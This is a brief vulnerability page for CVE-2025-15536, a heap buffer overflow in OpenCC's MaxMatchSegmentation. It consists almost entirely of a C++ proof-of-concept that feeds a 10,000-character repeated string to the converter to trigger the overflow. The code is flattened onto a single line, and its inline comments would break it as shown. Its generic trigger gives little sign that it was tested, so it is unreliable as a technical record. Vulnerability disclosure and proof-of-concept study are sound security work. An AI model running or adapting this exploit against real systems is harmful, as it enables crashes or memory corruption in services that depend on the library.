CVE-2025-15536: BYVoid OpenCC MaxMatchSegmentation堆缓冲区溢出漏洞

#include <iostream> #include <fstream> #include <string> #include <opencc.h> int main() { // PoC for CVE-2025-15536: Heap buffer overflow in OpenCC MaxMatchSegmentation // Target: BYVoid OpenCC <= 1.1.9 try { // Initialize OpenCC with specified configuration opencc::OpenCC opencc("s2t.json"); // Construct malicious input with excessive length // This triggers heap buffer overflow in MaxMatchSegmentation std::string malicious_input(10000, '测'); // Large repeated characters // Process the input - triggers overflow in heap buffer std::string result = opencc.Convert(malicious_input); std::cout << "Conversion completed: " << result.length() << " chars" << std::endl; } catch (const std::exception& e) { std::cerr << "Exception caught: " << e.what() << std::endl; return 1; } return 0; }